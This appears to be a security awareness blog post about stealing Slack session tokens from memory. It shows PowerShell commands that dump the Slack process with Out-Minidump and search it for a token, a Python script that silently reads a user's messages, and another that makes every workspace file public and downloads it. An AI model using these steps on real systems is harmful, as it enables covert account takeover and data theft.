Slack is continuing to grow in popularity and is being adopted into industries across the globe as a tool to collaborate and communicate. I wanted to raise awareness of Slack as an attack vector and demo one of the security issues for companies using this tool in their environment. Users do not always just run Slack at work, many use it at home, or in less secure environments. Not all users are security conscious and obtaining access to one user’s system could provide an attacker with silent visibility into your operations.

How Slack authentication works

Slack authentication is handled by tokens. Most often, these tokens are requested through the API page and are used by bots, scripts, and other applications. Slack even provides a full page on the security considerations surrounding tokens and suggestions for securing them. https://api.slack.com/docs/oauth-safety. However, when you sign into the Slack application you are also assigned a token. This becomes a security consideration because since Slack is running in the context of the user and stores tokens plaintext in memory. These user tokens remain persistent for the entire login session. Tokens ARE revoked when a user explicitly signs out of the application. However, closing the browser window does not revoke the token and few users close their messaging application. Another issue is that when signing into Slack “keep me signed in” is checked by default which helps extends the life of tokens.

Slack has instituted 2FA to help protect your account but that only protects your sign-in, once your token has been collected it can be used without any additional authentication.

Why is this a security risk and how can it be exploited?

This is not a bug or a vulnerability. This is an attack vector that needs to be considered when using Slack for confidential communications.

The main issue with Slack using and storing authentication tokens in its memory is because a user-mode application can pull that data out and use it to impersonate the user.

We are going to look at the Slack binary application on Windows as an example.

We are going to take advantage of the PowerShell function Out-Minidump developed by Matthew Graeber in order to dump the memory of the Slack Process. https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1



#Source the Minidump script

. .\Out-Minidump.ps1

#pass the slack process(es) to Minidump

Get-Process slack | Out-Minidump

#parse the memory dumps looking for the pattern “xoxs-” and return the first result

Select-String .\slack* -Pattern xoxs- -List



You will see that the prior commands return a user token with the xoxs- prefix.

This same technique can be used against Slack in the Chrome and Firefox browsers by changing the process name. Once a token has been collected it can be used to interact with Slack with all the same privileges as the user. User Tokens are not tied to devices, endpoints, or IP addresses. This means that a threat actor can monitor Slack communications from anywhere once the token has been obtained.

How can a token be used?

As an example you can use it with tools such as the python slack client https://github.com/slackhq/python-slackclient

When your token has been compromised it can be used to monitor conversations or even pull all channel history.

import time

from slackclient import SlackClient

#This script will silently monitor user communications

token = "xoxs-123456789000”

sc = SlackClient(token)

if sc.rtm_connect():

while True:

print sc.rtm_read()

time.sleep(1)

else:

print "Connection Failed, invalid token?"



The simple python script below, will list all the files associated with a site, generate a public URL for each of them, and download them. A simple way for a malicious user to quietly siphon all your data.



import time

import json

import urllib

import requests

from slackclient import SlackClient

token = "xoxs-123456789000"

sc = SlackClient(token)

fileSave = urllib.URLopener()

post_data = {}

post_data['token'] = token

if sc.rtm_connect():

fileList = json.loads(sc.server.api_call("files.list"))['files']

for x in fileList:

post_data['file'] = x['id']

#had to build this call myself because of how slackrequest.py handles the word "file" in post_data

fileInfo = (requests.post("https://slack.com/api/files.sharedPublicURL", data=post_data)).json()['file']

pub_secret = fileInfo['permalink_public'][-10:]

downloadURL = fileInfo['url_private_download'] + "?pub_secret=" + pub_secret

fileSave.retrieve(downloadURL, fileInfo['name'])

else:

print "Connection Failed, invalid token?"



Suggestions to improve security:

If you are worried your tokens might have been compromised, you can force new ones to be generated by signing out of all your devices. Go to your account settings page and at the bottom of the page click “Sign out all other sessions”

User education is necessary to ensure that your team communication and collaboration remains secure. Do you trust that that every team member has secured their home computer? One team member with a compromised token can lead to exfiltration of your entire team’s communications and files.